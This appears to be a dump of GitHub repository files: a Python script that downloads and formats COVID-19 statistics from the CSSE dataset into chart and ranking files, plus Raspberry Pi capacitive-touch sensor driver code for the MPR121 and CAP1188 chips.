pygame.key.get_pressed()\r\n## if angle < 10000: angle+=20\r\n## else:\r\n## angle = 0\r\n## points = []\r\n \r\n #get mouse position\r\n #mposX, mposY = pygame.mouse.get_pos()[0], pygame.mouse.get_pos()[1]\r\n \r\n## x = int(windowX/2 + 300*math.sin(math.radians(angle/20))*math.cos(math.radians(angle)))\r\n## y = int(windowY/2 - 300*math.sin(math.radians(angle/20))*math.sin(math.radians(angle)))\r\n## points.append([x,y])\r\n #time.sleep(0.2)\r\n \r\n DISPLAYSURF.fill(BLACK)\r\n if keys[pygame.K_z]:\r\n helps = 'press and hold A,S,D,F,G,H and MOUSEWHEEL to change numbers :)' \r\n DISPLAYSURF.blit(font.render(helps,1,(150,150,150)),(0,20))\r\n drawPoints()\r\n DISPLAYSURF.blit(font.render(formula[0],1,WHITE),(0,0))\r\n for event in pygame.event.get():\r\n if event.type == MOUSEBUTTONDOWN:\r\n if event.button == 4:\r\n if keys[pygame.K_a]:\r\n points = []\r\n dyna[0] += 10\r\n dynaGraph(dyna[0],dyna[1],dyna[2], dyna[3],dyna[4], dyna[5])\r\n\r\n if keys[pygame.K_s]:\r\n points = []\r\n dyna[1] += 10\r\n dynaGraph(dyna[0],dyna[1],dyna[2], dyna[3],dyna[4], dyna[5])\r\n\r\n if keys[pygame.K_d]:\r\n points = []\r\n dyna[2] += 1\r\n dynaGraph(dyna[0],dyna[1],dyna[2], dyna[3],dyna[4], dyna[5])\r\n\r\n if keys[pygame.K_f]:\r\n points = []\r\n dyna[3] += 1\r\n dynaGraph(dyna[0],dyna[1],dyna[2], dyna[3],dyna[4], dyna[5])\r\n if keys[pygame.K_g]:\r\n points = []\r\n dyna[4] += 1\r\n dynaGraph(dyna[0],dyna[1],dyna[2], dyna[3],dyna[4], dyna[5])\r\n if keys[pygame.K_h]:\r\n points = []\r\n dyna[5] += 1\r\n dynaGraph(dyna[0],dyna[1],dyna[2], dyna[3],dyna[4], dyna[5]) \r\n\r\n if event.button == 5:\r\n if keys[pygame.K_a]:\r\n points = []\r\n dyna[0] -= 10\r\n dynaGraph(dyna[0],dyna[1],dyna[2], dyna[3],dyna[4], dyna[5])\r\n\r\n if keys[pygame.K_s]:\r\n points = []\r\n dyna[1] -= 10\r\n dynaGraph(dyna[0],dyna[1],dyna[2], dyna[3],dyna[4], dyna[5])\r\n\r\n if keys[pygame.K_d]:\r\n points = []\r\n dyna[2] -= 1\r\n dynaGraph(dyna[0],dyna[1],dyna[2], dyna[3],dyna[4], dyna[5])\r\n\r\n if keys[pygame.K_f]:\r\n points = []\r\n dyna[3] -= 1\r\n dynaGraph(dyna[0],dyna[1],dyna[2], dyna[3],dyna[4], dyna[5])\r\n if keys[pygame.K_g]:\r\n points = []\r\n dyna[4] -= 1\r\n dynaGraph(dyna[0],dyna[1],dyna[2], dyna[3],dyna[4], dyna[5])\r\n if keys[pygame.K_h]:\r\n points = []\r\n dyna[5] -= 1\r\n dynaGraph(dyna[0],dyna[1],dyna[2], dyna[3],dyna[4], dyna[5])\r\n if event.type == KEYDOWN and event.key == K_c:\r\n dyna[0] = 50\r\n dyna[1] = 50\r\n dyna[2] = 1\r\n dyna[3] = 1\r\n dyna[4] = 1\r\n dyna[5] = 1\r\n points = []\r\n dynaGraph(dyna[0],dyna[1],dyna[2], dyna[3],dyna[4], dyna[5])\r\n\r\n if event.type == QUIT:\r\n pygame.quit()\r\n sys.exit()\r\n pygame.display.update()\r\n fpsClock.tick(FPS)\r\n" } ]
1
quadrohedron/covid
https://github.com/quadrohedron/covid
65af98131ff47d1b25dc04d07904451ff1666c5d
5df797fa880c7d9c7dfb5432b6e9b91466165076
34dabb64e603d769d2dc0a92a9f2eb152a7ba884
refs/heads/master
2022-04-16T00:10:40.303401
2020-04-14T19:37:40
2020-04-14T19:37:40
255,707,614
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4683043360710144, "alphanum_fraction": 0.4765922427177429, "avg_line_length": 31.820707321166992, "blob_id": "f17027319108e27ca6ae38db025011aa1316a90e", "content_id": "8accffeb2e7f2f65993271960638eff13e2bbb7e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13393, "license_type": "no_license", "max_line_length": 157, "num_lines": 396, "path": "/Covid2p1_DBB_RND.py", "repo_name": "quadrohedron/covid", "src_encoding": "UTF-8", "text": "import datetime, re, requests, sqlite3\r\nfrom time import time, sleep, strftime, strptime, localtime\r\n\r\nfrom Covid2p1_Backend_RND import *\r\n\r\nBASE_URL = 'https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_time_series/time_series_covid19_{0}_global.csv'\r\nREALTIME_URL = 'https://raw.githubusercontent.com/CSSEGISandData/COVID-19/web-data/data/cases_country.csv'\r\nDATE_RE = re.compile('[0-9]{1,2}/[0-9]{1,2}/[0-9]{1,2}')\r\nCSV_KEYS = ['confirmed', 'deaths', 'recovered']\r\nMATH_KEYS = ['new', 'active']\r\nLOCALES_USED = ['ENG', 'ARAB', 'ESP']\r\nTIMEOUT_RETRIES = 5\r\n\r\ndef csvDate2date(timestring):\r\n t = strptime(timestring, '%m/%d/%y')\r\n return datetime.date(t.tm_year, t.tm_mon, t.tm_mday)\r\n\r\ndef rtDate2date(timestring):\r\n t = strptime(timestring, '%Y-%m-%d %H:%M:%S')\r\n return datetime.date(t.tm_year, t.tm_mon, t.tm_mday)\r\n\r\n\r\n\r\n##### Data fillers\r\n\r\nCOORDINATES = {}\r\nDATA = {k:{} for k in CSV_KEYS+MATH_KEYS}\r\nRT_DATA = {k:{} for k in CSV_KEYS+MATH_KEYS}\r\nDATES = []\r\nRT_DATE = None\r\nN_DAYS = 0\r\nRT_COUNTRIES = None\r\n\r\n\r\n\r\ndef fetch_set(key):\r\n for i in range(TIMEOUT_RETRIES):\r\n try:\r\n resp = requests.get(BASE_URL.format(key))\r\n print('Fetch done: \\'{0}\\''.format(key))\r\n break\r\n except requests.exceptions.ConnectTimeout:\r\n if i == TIMEOUT_RETRIES-1:\r\n print('Timeout {0} at key \\'{1}\\', skipping.'.format(i+1, key))\r\n return False, None\r\n else:\r\n print('Timeout {0} at key {1}, retrying...'.format(i+1, key))\r\n continue\r\n return resp.ok, resp.text.strip() if resp.ok else None\r\n\r\n\r\n\r\ndef fetch_realtime():\r\n for i in range(TIMEOUT_RETRIES):\r\n try:\r\n resp = requests.get(REALTIME_URL)\r\n print('Fetch done: \\'realtime\\'')\r\n break\r\n except requests.exceptions.ConnectTimeout:\r\n if i == TIMEOUT_RETRIES-1:\r\n print('Timeout {0} at key \\'realtime\\', skipping.'.format(i+1))\r\n return False, None\r\n else:\r\n print('Timeout {0} at key realtime, retrying...'.format(i+1))\r\n continue\r\n return resp.ok, resp.text.strip() if resp.ok else None\r\n\r\n\r\n\r\ndef fill_data():\t\r\n global DATA, DATES, N_DAYS, RT_COUNTRIES, RT_DATA, RT_DATE\r\n \r\n for k in CSV_KEYS:\r\n ### Fetching dataset\r\n ok, source = fetch_set(k)\r\n if not ok:\r\n return None\r\n source = split_csv(source)\r\n \r\n ### Filling dates\r\n if len(DATES) == 0:\r\n DATES = list(map(csvDate2date, source[0][4:]))\r\n N_DAYS = len(DATES)\r\n \r\n for line in source[1:]:\r\n p, c = line[:2]\r\n \r\n ### Filling coordinates\r\n cp_key = c+' : '+p\r\n if cp_key not in COORDINATES:\r\n COORDINATES[cp_key] = tuple(map(float, line[2:4]))\r\n \r\n ### Filling cases\r\n tab = DATA[k]\r\n for i in range(4, len(line)):\r\n if not (c in tab):\r\n tab[c] = {}\r\n c_dict = tab[c]\r\n if not (p in c_dict):\r\n c_dict[p] = []\r\n c_dict[p].append(int(line[i]))\r\n \r\n ### Filling realtime\r\n ok, source = fetch_realtime()\r\n if not ok:\r\n return None\r\n source = split_csv(source, 0)\r\n indices = {}\r\n line = source[0]\r\n RT_DATE = rtDate2date(source[1][1])\r\n samedayflag = not (RT_DATE == DATES[-1])\r\n for i in range(len(line)):\r\n val = line[i].lower()\r\n if val in CSV_KEYS:\r\n indices[val] = i\r\n for line in source[1:]:\r\n c = line[0]\r\n for k in indices:\r\n val = int(line[indices[k]])\r\n RT_DATA[k][c] = val\r\n if samedayflag and ('' in DATA[k][c]):\r\n DATA[k][c][''][-1] = val\r\n RT_COUNTRIES = set(RT_DATA[CSV_KEYS[0]].keys())\r\n #print(RT_DATA[CSV_KEYS[0]])\r\n \r\n ### Setting coordinates\r\n countries = []\r\n for c in DATA[CSV_KEYS[0]]:\r\n countries.append(c)\r\n if len(countries) > 0:\r\n coords, still_missing = get_coordinates(countries)\r\n## if len(still_missing) > 0:\r\n## print('Still missing the following countries:', still_missing)\r\n for c in coords:\r\n if not (coords[c] == None):\r\n COORDINATES[c+' : '] = coords[c]\r\n \r\n ### Setting special coordinates (from null)\r\n locs = sp_locs()\r\n for c in locs:\r\n COORDINATES[c] = locs[c]\r\n \r\n return None\r\n\r\n\r\n\r\n\r\n\r\n##### Analysis\r\n\r\nPOW_GLOBAL = 1\r\nPOW_LATAM = 1\r\nRATING_LIMIT = 30\r\n\r\ndef gen_global_dbg(power):\r\n for k in CSV_KEYS:\r\n tab = DATA[k]\r\n filename = f'Output/chart_{power}.tab'\r\n data = []\r\n coords = []\r\n for c in tab:\r\n c_dict = tab[c]\r\n if '' in c_dict:\r\n for p in c_dict:\r\n data.append(c_dict[p])\r\n coords.append(COORDINATES[c+' : '+p])\r\n else:\r\n vals = [0 for _ in range(N_DAYS)]\r\n for p in c_dict:\r\n p_list = c_dict[p]\r\n for d_i in range(N_DAYS):\r\n vals[d_i] += p_list[d_i]\r\n data.append(vals)\r\n coords.append(COORDINATES[c+' : '])\r\n write_tabfile(data, coords, DATES, power, filename)\r\n print(f'Chart completed: global {power}')\r\n return None\r\n\r\ndef gen_charts_global_unified():\r\n for k in CSV_KEYS:\r\n tab = DATA[k]\r\n filename = f'Output/chart_global_{k}_{DATES[-1].isoformat()}.tab'\r\n data = []\r\n coords = []\r\n for c in tab:\r\n c_dict = tab[c]\r\n if '' in c_dict:\r\n for p in c_dict:\r\n data.append(c_dict[p])\r\n coords.append(COORDINATES[c+' : '+p])\r\n else:\r\n vals = [0 for _ in range(N_DAYS)]\r\n for p in c_dict:\r\n p_list = c_dict[p]\r\n for d_i in range(N_DAYS):\r\n vals[d_i] += p_list[d_i]\r\n data.append(vals)\r\n coords.append(COORDINATES[c+' : '])\r\n write_tabfile(data, coords, DATES, POW_GLOBAL, filename)\r\n print(f'Chart completed: global \\'{k}\\'')\r\n return None\r\n\r\ndef gen_charts_latam():\r\n A, B, C, D = LATAM_LIMITS\r\n for k in CSV_KEYS:\r\n tab = DATA[k]\r\n filename = f'Output/chart_latam_{k}_{DATES[-1].isoformat()}.tab'\r\n data = []\r\n coords = []\r\n for c in tab:\r\n c_dict = tab[c]\r\n if '' in c_dict:\r\n lat, long = COORDINATES[c+' : ']\r\n if not (A < lat < B)*(C < long < D):\r\n continue\r\n for p in c_dict:\r\n data.append(c_dict[p])\r\n coords.append(COORDINATES[c+' : '+p])\r\n else:\r\n vals = [0 for _ in range(N_DAYS)]\r\n for p in c_dict:\r\n lat, long = COORDINATES[c+' : '+p]\r\n if not (A < lat < B)*(C < long < D):\r\n continue\r\n p_list = c_dict[p]\r\n for d_i in range(N_DAYS):\r\n vals[d_i] += p_list[d_i]\r\n data.append(vals)\r\n coords.append(COORDINATES[c+' : ']) \r\n write_tabfile(data, coords, DATES, POW_GLOBAL, filename)\r\n print(f'Chart completed: latam \\'{k}\\'')\r\n return None\r\n\r\n\r\n\r\ndef gen_linegraphs():\r\n for k in CSV_KEYS:\r\n tab = DATA[k]\r\n filename_g = f'Output/linegraph_{k}_{DATES[-1].isoformat()}.txt'\r\n filename_m = f'Output/maxval_{k}_{DATES[-1].isoformat()}.txt'\r\n vals = [0 for _ in range(N_DAYS)]\r\n for c in tab:\r\n c_dict = tab[c]\r\n for p in c_dict:\r\n for i in range(N_DAYS):\r\n vals[i] += c_dict[p][i]\r\n with open(filename_g, 'w') as f:\r\n f.write('#'.join(map(str, vals)))\r\n with open(filename_m, 'w') as f:\r\n f.write(str(max(vals)))\r\n print(f'Linegraph completed: \\'{k}\\'')\r\n return None\r\n\r\n\r\n\r\ndef gen_linegraphs_rt():\r\n nextdayflag = not (RT_DATE == DATES[-1])\r\n for k in CSV_KEYS:\r\n tab = DATA[k]\r\n rt_tab = RT_DATA[k]\r\n filename_g = f'Output/linegraph_RT_{k}_{RT_DATE.isoformat()}.txt'\r\n filename_m = f'Output/maxval_RT_{k}_{RT_DATE.isoformat()}.txt'\r\n vals = [0 for _ in range(N_DAYS+(1 if nextdayflag else 0))]\r\n for c in tab:\r\n c_dict = tab[c]\r\n for p in c_dict:\r\n for i in range(N_DAYS):\r\n vals[i] += c_dict[p][i]\r\n if nextdayflag:\r\n for c in tab:\r\n if c in RT_COUNTRIES:\r\n vals[-1] += rt_tab[c]\r\n else:\r\n c_dict = tab[c]\r\n for p in c_dict:\r\n vals[-1] += c_dict[p][-1]\r\n with open(filename_g, 'w') as f:\r\n f.write('#'.join(map(str, vals)))\r\n with open(filename_m, 'w') as f:\r\n f.write(str(max(vals)))\r\n print(f'RT linegraph completed: \\'{k}\\'')\r\n return None\r\n\r\n\r\n\r\ndef gen_ratings():\r\n l_keys, translations = None, None\r\n for k in CSV_KEYS:\r\n tab = DATA[k]\r\n filename = f'Output/rating_{{0}}_{k}_{DATES[-1].isoformat()}.txt'\r\n data = {}\r\n for c in tab:\r\n c_dict = tab[c]\r\n val = 0\r\n for p in c_dict:\r\n val += c_dict[p][-1]\r\n data[c] = val\r\n \r\n if translations == None:\r\n l_keys, translations, _ = build_country_dictionary(set(tab.keys()))\r\n\r\n l_keys = list(filter(lambda x: x in LOCALES_USED, l_keys))\r\n rating = sorted(data.items(), key = lambda x: -x[1])\r\n text_val = rating[0][1]\r\n texts_c = {l_k:translations[rating[0][0]][l_k] for l_k in l_keys}\r\n text_val = str(text_val)\r\n for c, val in rating[1:]:\r\n for l_k in l_keys:\r\n texts_c[l_k] += ','+translations[c][l_k]\r\n text_val += '#'+str(val)\r\n for l_k in l_keys:\r\n with open(filename.format(f'countries_{l_k}'), 'w', encoding = 'utf-8') as f:\r\n f.write(texts_c[l_k])\r\n with open(filename.format(f'TOP{RATING_LIMIT}_countries_{l_k}'), 'w', encoding = 'utf-8') as f:\r\n f.write(','.join(texts_c[l_k].split(',')[:RATING_LIMIT]))\r\n with open(filename.format('values'), 'w') as f:\r\n f.write(text_val)\r\n with open(filename.format(f'TOP{RATING_LIMIT}_values'), 'w') as f:\r\n f.write('#'.join(text_val.split('#')[:RATING_LIMIT]))\r\n print(f'Rating completed: \\'{k}\\'')\r\n return None\r\n\r\n\r\n\r\ndef gen_ratings_rt():\r\n l_keys, translations = None, None\r\n nextdayflag = not (RT_DATE == DATES[-1])\r\n for k in CSV_KEYS:\r\n tab = DATA[k]\r\n rt_tab = RT_DATA[k]\r\n filename = f'Output/rating_RT_{{0}}_{k}_{RT_DATE.isoformat()}.txt'\r\n data = {}\r\n for c in tab:\r\n if nextdayflag and (c in RT_COUNTRIES):\r\n val = rt_tab[c]\r\n #print(0,type(val))\r\n else:\r\n c_dict = tab[c]\r\n val = 0\r\n for p in c_dict:\r\n val += c_dict[p][-1]\r\n #print(1,type(val))\r\n data[c] = val\r\n \r\n if translations == None:\r\n l_keys, translations, _ = build_country_dictionary(set(tab.keys()))\r\n\r\n l_keys = list(filter(lambda x: x in LOCALES_USED, l_keys))\r\n \r\n rating = sorted(data.items(), key = lambda x: -x[1])\r\n text_val = rating[0][1]\r\n texts_c = {l_k:translations[rating[0][0]][l_k] for l_k in l_keys}\r\n text_val = str(text_val)\r\n for c, val in rating[1:]:\r\n for l_k in l_keys:\r\n texts_c[l_k] += ','+translations[c][l_k]\r\n text_val += '#'+str(val)\r\n for l_k in l_keys:\r\n with open(filename.format(f'countries_{l_k}'), 'w', encoding = 'utf-8') as f:\r\n f.write(texts_c[l_k])\r\n with open(filename.format(f'TOP{RATING_LIMIT}_countries_{l_k}'), 'w', encoding = 'utf-8') as f:\r\n f.write(','.join(texts_c[l_k].split(',')[:RATING_LIMIT]))\r\n with open(filename.format('values'), 'w') as f:\r\n f.write(text_val)\r\n with open(filename.format(f'TOP{RATING_LIMIT}_values'), 'w') as f:\r\n f.write('#'.join(text_val.split('#')[:RATING_LIMIT]))\r\n print(f'RT rating completed: \\'{k}\\'')\r\n return None\r\n\r\n\r\n\r\n\r\n\r\n##### Run\r\n\r\ndef set_params():\r\n with open('params.txt') as f:\r\n source = f.read().strip()\r\n for line in source.split('\\n'):\r\n name, val_type, val = line.split('\\t')\r\n globals()[name] = getattr(__builtins__, val_type)(val)\r\n return None\r\n\r\nif __name__ == '__main__':\r\n print('Started!')\r\n set_params()\r\n fill_data()\r\n gen_charts_global_unified()\r\n gen_charts_latam()\r\n## gen_linegraphs()\r\n gen_linegraphs_rt()\r\n## gen_ratings()\r\n gen_ratings_rt()\r\n print('Finished!')\r\n\r\n##CKEYS,CDICT,MISSING=build_country_dictionary(set(DATA['confirmed'].keys()))\r\n" }, { "alpha_fraction": 0.792682945728302, "alphanum_fraction": 0.8170731663703918, "avg_line_length": 40, "blob_id": "b8dfb5ce8a41da8a0946ff146003d5164758bf84", "content_id": "d30a2164674f06c0d5bd0dfeed467e03f19442ab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 82, "license_type": "no_license", "max_line_length": 73, "num_lines": 2, "path": "/README.md", "repo_name": "quadrohedron/covid", "src_encoding": "UTF-8", "text": "# covid\nScript for fetching, parsing and formatting COVID-19 statistics from CSSE\n" }, { "alpha_fraction": 0.47705695033073425, "alphanum_fraction": 0.4878692030906677, "avg_line_length": 25.6788330078125, "blob_id": "c6c2c54c77b51af995ba52c6041b98a3a56e6133", "content_id": "dc1b737a755f6cc16bd4c9bbc3093e6fb62bc4ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3792, "license_type": "no_license", "max_line_length": 108, "num_lines": 137, "path": "/Covid2p1_Backend_RND.py", "repo_name": "quadrohedron/covid", "src_encoding": "UTF-8", "text": "import re\r\n\r\n\r\n\r\nLATAM_LIMITS = [-60, 25, -120, -30]\r\n\r\nUHEIGHT = 0.102\r\nFACTOR = 100000\r\n\r\n\r\n\r\ndef __scale(val, unitscale, power=1):\r\n return int(FACTOR*((1.0-UHEIGHT)*(pow(val, power)-unitscale)/(1.0-unitscale)+UHEIGHT)) if val > 0 else 0\r\n\r\n\r\n\r\ndef __scale_vals(val_table, power=1):\r\n maxval = max(list(map(max, val_table)))\r\n unitscale = pow(1/maxval, power)\r\n res = []\r\n for val_list in val_table:\r\n res.append([__scale(v/maxval, unitscale, power) for v in val_list])\r\n return res\r\n\r\n\r\n\r\ndef sp_locs():\r\n with open('sp_locs.txt') as f:\r\n source = f.read().strip()\r\n res = {}\r\n for line in source.split('\\n'):\r\n c, lat, long = line.split('\\t')\r\n lat, long = map(float, (lat, long))\r\n res[c] = (lat, long)\r\n return res\r\n\r\n\r\n\r\n__SKIPPED_CHARS = '*'\r\n\r\n__COUNTRY_REPLACEMENTS = {\r\n 'Korea, South' : 'South Korea',\r\n 'Congo (Brazzaville)' : 'Congo [Republic]',\r\n 'Congo (Kinshasa)' : 'Congo [DRC]'\r\n }\r\n\r\n__IGNORED_PATTERNS = tuple(map(re.compile, (\r\n '\\ARecovered,Canada,.*\\Z',\r\n #'\\ADiamond Princess,Canada,.*\\Z'\r\n )))\r\n\r\n\r\n\r\ndef split_csv(text, c_ind = 1):\r\n res = []\r\n for line in text.split('\\n'):\r\n \r\n ignored = False\r\n for p in __IGNORED_PATTERNS:\r\n if not (p.match(line) == None):\r\n ignored = True\r\n break\r\n if ignored:\r\n continue\r\n \r\n res_line = []\r\n field = ''\r\n depth = 0\r\n for char in line:\r\n if char == '\"':\r\n depth = 1 - depth\r\n elif char == ',':\r\n if depth > 0:\r\n field += char\r\n else:\r\n if (len(res_line) == c_ind) and (field in __COUNTRY_REPLACEMENTS):\r\n field = __COUNTRY_REPLACEMENTS[field]\r\n res_line.append(field)\r\n field = ''\r\n elif not (char in __SKIPPED_CHARS):\r\n field += char\r\n res_line.append(field)\r\n res.append(res_line)\r\n \r\n return res\r\n\r\n\r\ndef get_coordinates(countries):\r\n res = {c:None for c in countries}\r\n with open('countries.tab') as f:\r\n source = f.read().strip().split('\\n')\r\n for line in source:\r\n line = line.split('\\t')\r\n c = line[-1].strip()\r\n if c in countries:\r\n res[c] = tuple(map(float, line[-3:-1]))\r\n missing = []\r\n for c in res:\r\n if res[c] == None:\r\n missing.append(c)\r\n return res, missing\r\n\r\n\r\n\r\ndef write_tabfile(data_list, coords_list, date_list, power, filename):\r\n tab_vals = __scale_vals(data_list, power)\r\n with open(filename, 'w') as f:\r\n for c_i in range(len(tab_vals)):\r\n for d_i in range(len(date_list)):\r\n line = date_list[d_i].isoformat()+'\\t00\\t'\r\n line += '\\t'.join(map(str, coords_list[c_i]))\r\n line += '\\t'+str(tab_vals[c_i][d_i])\r\n f.write(line+'\\n')\r\n return None\r\n\r\n\r\n\r\ndef build_country_dictionary(country_set):\r\n with open('country_dictionary.csv',encoding='utf-8') as f:\r\n source = f.read().strip()\r\n res = {}\r\n source = source.split('\\n')\r\n keys = source[0].replace('\\ufeff', '').split(',')\r\n eng_i = keys.index('ENG')\r\n n_keys = len(keys)\r\n for line in source[1:]:\r\n names = line.split(',')\r\n if len(tuple(filter(None, names))) == 0:\r\n continue\r\n engname = names[eng_i]\r\n if engname in country_set:\r\n translations = {}\r\n for k_i in range(n_keys):\r\n translations[keys[k_i]] = names[k_i]\r\n res[engname] = translations\r\n country_set.remove(engname)\r\n return keys, res, country_set\r\n" } ]
3
roosnic1/rpi_cap
https://github.com/roosnic1/rpi_cap
cceecb561e3f8283503919a34d91047eb74baae1
0e63f3449aa7570f67c409123058d806eaca40e1
e78a0bd6164ac95173fcb62f00c753061a483b1b
refs/heads/master
2016-09-05T12:21:38.688220
2014-12-31T15:36:15
2014-12-31T15:36:15
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6072192788124084, "alphanum_fraction": 0.6850267648696899, "avg_line_length": 24.277027130126953, "blob_id": "f4ecb51995d8a238174f84934226237a3ce7dba5", "content_id": "bace5dd67a847c64118a7d31c35288441d4623e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3740, "license_type": "no_license", "max_line_length": 80, "num_lines": 148, "path": "/Adafruit_MPR121.py", "repo_name": "roosnic1/rpi_cap", "src_encoding": "UTF-8", "text": "# Based on Arduino example by Jim Lindblom\n# http://bildr.org/2011/05/mpr121_arduino/\n\nimport smbus\nbus = smbus.SMBus(1)\n\nfrom Cap import Captivity\n\nclass Adafruit_MPR121(Captivity):\n\n\t# MPR121 Register Defines\n\tMHD_R = 0x2B\n\tNHD_R = 0x2C\n\tNCL_R = 0x2D\n\tFDL_R = 0x2E\n\tMHD_F = 0x2F\n\tNHD_F = 0x30\n\tNCL_F = 0x31\n\tFDL_F = 0x32\n\tELE0_T = 0x41\n\tELE0_R = 0x42\n\tELE1_T = 0x43\n\tELE1_R = 0x44\n\tELE2_T = 0x45\n\tELE2_R = 0x46\n\tELE3_T = 0x47\n\tELE3_R = 0x48\n\tELE4_T = 0x49\n\tELE4_R = 0x4A\n\tELE5_T = 0x4B\n\tELE5_R = 0x4C\n\tELE6_T = 0x4D\n\tELE6_R = 0x4E\n\tELE7_T = 0x4F\n\tELE7_R = 0x50\n\tELE8_T = 0x51\n\tELE8_R = 0x52\n\tELE9_T = 0x53\n\tELE9_R = 0x54\n\tELE10_T = 0x55\n\tELE10_R = 0x56\n\tELE11_T = 0x57\n\tELE11_R = 0x58\n\tFIL_CFG = 0x5D\n\tELE_CFG = 0x5E\n\tGPIO_CTRL0 = 0x73\n\tGPIO_CTRL1 = 0x74\n\tGPIO_DATA = 0x75\n\tGPIO_DIR = 0x76\n\tGPIO_EN = 0x77\n\tGPIO_SET = 0x78\n\tGPIO_CLEAR = 0x79\n\tGPIO_TOGGLE = 0x7A\n\tATO_CFG0 = 0x7B\n\tATO_CFGU = 0x7D\n\tATO_CFGL = 0x7E\n\tATO_CFGT = 0x7F\n\n\t# Global Constants\n\n\tTOU_THRESH = 0x06\n\tREL_THRESH = 0x0A\n\n\tdef __init__(self, i2c_addr, i2c_bus, touch_offset = 0):\n\t\tsuper(MPR121,self).__init__(i2c_addr, i2c_bus, touch_offset)\n self.setup()\n\n\t# Routines\n\n\t@property\n def driver_name(self):\n return \"Adafruit_MPR121\"\n\n\tdef readData(address):\n\t\tMSB = self._i2c.read_byte_data(address, 0x00)\n\t\tLSB = self._i2c.read_byte_data(address, 0x01)\n\n\t\t#touchData = (MSB << 8) | LSB\n\t\ttouchData = MSB;\n\n\t\treturn touchData;\n\n\tdef setup():\n\t\tself._i2c.write_byte_data(address, ELE_CFG, 0x00)\n\n\t\t# Section A - Controls filtering when data is > baseline.\n\n\t\tself._i2c.write_byte_data(address, MHD_R, 0x01)\n\t\tself._i2c.write_byte_data(address, NHD_R, 0x01)\n\t\tself._i2c.write_byte_data(address, NCL_R, 0x00)\n\t\tself._i2c.write_byte_data(address, FDL_R, 0x00)\n\n\t\t# Section B - Controls filtering when data is < baseline.\n\n\t\tself._i2c.write_byte_data(address, MHD_F, 0x01)\n\t\tself._i2c.write_byte_data(address, NHD_F, 0x01)\n\t\tself._i2c.write_byte_data(address, NCL_F, 0xFF)\n\t\tself._i2c.write_byte_data(address, FDL_F, 0x02)\n\n\t\t#Section C - Sets touch and release thresholds for each electrode\n\n\t\tself._i2c.write_byte_data(address, ELE0_T, TOU_THRESH)\n\t\tself._i2c.write_byte_data(address, ELE0_R, REL_THRESH)\n\n\t\tself._i2c.write_byte_data(address, ELE1_T, TOU_THRESH)\n\t\tself._i2c.write_byte_data(address, ELE1_R, REL_THRESH)\n\n\t\tself._i2c.write_byte_data(address, ELE2_T, TOU_THRESH)\n\t\tself._i2c.write_byte_data(address, ELE2_R, REL_THRESH)\n\n\t\tself._i2c.write_byte_data(address, ELE3_T, TOU_THRESH)\n\t\tself._i2c.write_byte_data(address, ELE3_R, REL_THRESH)\n\n\t\tself._i2c.write_byte_data(address, ELE4_T, TOU_THRESH)\n\t\tself._i2c.write_byte_data(address, ELE4_R, REL_THRESH)\n\n\t\tself._i2c.write_byte_data(address, ELE5_T, TOU_THRESH)\n\t\tself._i2c.write_byte_data(address, ELE5_R, REL_THRESH)\n\n\t\tself._i2c.write_byte_data(address, ELE6_T, TOU_THRESH)\n\t\tself._i2c.write_byte_data(address, ELE6_R, REL_THRESH)\n\n\t\tself._i2c.write_byte_data(address, ELE7_T, TOU_THRESH)\n\t\tself._i2c.write_byte_data(address, ELE7_R, REL_THRESH)\n\n\t\tself._i2c.write_byte_data(address, ELE8_T, TOU_THRESH)\n\t\tself._i2c.write_byte_data(address, ELE8_R, REL_THRESH)\n\n\t\tself._i2c.write_byte_data(address, ELE9_T, TOU_THRESH)\n\t\tself._i2c.write_byte_data(address, ELE9_R, REL_THRESH)\n\n\t\tself._i2c.write_byte_data(address, ELE10_T, TOU_THRESH)\n\t\tself._i2c.write_byte_data(address, ELE10_R, REL_THRESH)\n\n\t\tself._i2c.write_byte_data(address, ELE11_T, TOU_THRESH)\n\t\tself._i2c.write_byte_data(address, ELE11_R, REL_THRESH)\n\n\t\t# Section D\n\t\t# Set the Filter Configuration\n\t\t# Set ESI2\n\n\t\tself._i2c.write_byte_data(address, FIL_CFG, 0x04)\n\n\t\t# Section E\n\t\t# Electrode Configuration\n\t\t# Set ELE_CFG to 0x00 to return to standby mode\n\n\t\tself._i2c.write_byte_data(address, ELE_CFG, 0x0C) # Enables all 12 Electrodes" }, { "alpha_fraction": 0.6343490481376648, "alphanum_fraction": 0.6371191143989563, "avg_line_length": 26.846153259277344, "blob_id": "97d2b3f90f0f639717860ed677dc8cde38b0254b", "content_id": "2185137889a9b42b1aa6381e1a6ab212fd972a4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 361, "license_type": "no_license", "max_line_length": 65, "num_lines": 13, "path": "/I2CInfo.py", "repo_name": "roosnic1/rpi_cap", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nclass I2CInfo(object):\n\n def __init__(self, bus, address):\n self._bus = bus\n self._address = address\n\n def write_byte_data(self, register, value):\n self._bus.write_byte_data(self._address, register, value)\n\n def read_byte_data(self, register):\n return self._bus.read_byte_data(self._address, register)" }, { "alpha_fraction": 0.5599151849746704, "alphanum_fraction": 0.6065747737884521, "avg_line_length": 19.085105895996094, "blob_id": "8a659a1844743801877d437a324bde70b9849770", "content_id": "f1a1875242f6a134df8504741468fe6676cffe21", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 943, "license_type": "no_license", "max_line_length": 63, "num_lines": 47, "path": "/main.py", "repo_name": "roosnic1/rpi_cap", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport smbus\nimport time\nfrom Adafruit_CAP1188 import Adafruit_CAP1188 as CAP1188\n\nimport RPi.GPIO as GPIO\nGPIO.setmode(GPIO.BOARD)\nGPIO.setup(29,GPIO.IN)\n\n\nif __name__ == \"__main__\":\n\n bus = smbus.SMBus(1)\n cap2_addr = 0x29\n\n cap2 = CAP1188(cap2_addr, bus, touch_offset = 0)\n\n #print \"multitouch Status: \" + str(cap2.multitouch_enabled)\n\n # Turn on multitouch\n cap2.multitouch_enabled = False\n\n #print \"multitouch Status: \" + str(cap2.multitouch_enabled)\n\n # Link LEDs to touches\n cap2.leds_linked 